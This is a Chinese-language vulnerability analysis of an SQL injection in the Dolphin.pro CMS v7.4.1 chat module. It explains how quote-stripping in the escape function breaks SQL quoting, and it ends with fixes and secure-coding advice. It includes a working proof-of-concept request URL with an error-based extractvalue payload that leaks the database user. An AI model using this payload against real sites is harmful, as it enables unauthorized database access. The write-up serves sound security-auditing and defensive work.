代码审计 - dolphin.pro cms SQL注入漏洞,Bypass过滤规则
字数 1356 2025-08-18 11:38:28
Dolphin.pro CMS SQL注入漏洞分析与利用教学
漏洞概述
Dolphin.pro CMS v7.4.1版本中存在SQL注入漏洞,攻击者可通过精心构造的请求绕过系统的过滤机制,实现数据库信息泄露。该漏洞位于聊天模块的RzSetBlocked功能中,由于参数过滤不彻底和SQL语句拼接方式不安全导致。
受影响版本
- Dolphin.pro CMS v7.4.1及之前版本
- 已修复版本:v7.4.2
漏洞分析
漏洞位置
/flash/modules/chat/inc/actions.inc.php文件中的RzSetBlocked功能
漏洞触发流程
-
参数获取与处理:
$sId = isset($_REQUEST['id']) ? process_db_input($_REQUEST['id']) : ''; $sUser = isset($_REQUEST['user']) ? process_db_input($_REQUEST['user']) : ''; $bBlocked = isset($_REQUEST['blocked']) ? $_REQUEST['blocked'] == TRUE_VAL : false; -
参数过滤机制:
通过process_db_input()函数处理输入参数,默认情况下调用escape()函数:function process_db_input($sText, $iStripTags = 0) { // ... return $oDb->escape($sText, false); // 调用escape函数 } -
escape函数实现:
public function escape($sText, $bReal = true) { $pdoEscapted = $this->link->quote($sText); return trim($pdoEscapted, "'"); // 去除首尾单引号 } -
SQL语句拼接:
function blockUser($iUserId, $iBlockedId, $bBlock) { if($bBlock) { getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'"); } else { getResult("DELETE FROM `sys_block_list` WHERE `ID` = '" . $iUserId . "' AND `Profile` = '" . $iBlockedId . "'"); } }
漏洞原理
process_db_input()函数使用PDO的quote()方法对输入进行转义,但随后通过trim()去除了首尾的单引号- 当攻击者提供
id=admin'时:quote()处理后变为'admin\''trim()处理后变为admin\'
- 在SQL拼接时,形成:
REPLACE INTO `sys_block_list` SET `ID` = 'admin\', `Profile` = '[可控部分]' - 攻击者可以在
user参数中注入SQL代码,利用\转义单引号使后续内容成为SQL语句的一部分
漏洞利用
利用条件
- 需要知道或猜测一个有效的用户ID作为
id参数 - 需要
blocked参数设置为true
利用POC
http://target.com/flash/XML.php?module=chat&app=1&action=RzSetBlocked&id=admin%27&user=%2bextractvalue(1,concat(0x7e,user()))%23&blocked=true
解码分析
id=admin%27→admin'user=%2bextractvalue(1,concat(0x7e,user()))%23→+extractvalue(1,concat(0x7e,user()))#
生成的SQL语句
REPLACE INTO `sys_block_list` SET `ID` = 'admin\', `Profile` = '+extractvalue(1,concat(0x7e,user()))#'
利用效果
通过错误注入技术,数据库会返回包含当前用户信息的错误消息,通常记录在tmp/error.log文件中。
其他潜在漏洞点
代码中还存在多处类似的SQL拼接操作,可能也存在相同漏洞:
/flash/modules/chat/inc/actions.inc.phpLine 137/flash/modules/chat/inc/actions.inc.phpLine 156/flash/modules/chat/inc/actions.inc.phpLine 180/flash/modules/chat/inc/actions.inc.phpLine 198/flash/modules/chat/inc/actions.inc.phpLine 210
修复方案
- 升级到v7.4.2或更高版本
- 临时修复方案:
- 修改
process_db_input()函数,避免去除转义后的引号 - 使用参数化查询替代字符串拼接
- 修改
防御建议
- 始终使用参数化查询或预处理语句
- 避免在SQL语句中直接拼接用户输入
- 对输入验证采用白名单机制
- 实现多层防御,包括输入验证、输出编码和适当的权限控制
总结
该漏洞展示了即使使用了转义函数,不当的实现方式仍可能导致SQL注入风险。安全开发需要全面考虑输入处理、查询构建和上下文环境,单纯依赖转义函数不足以提供完整防护。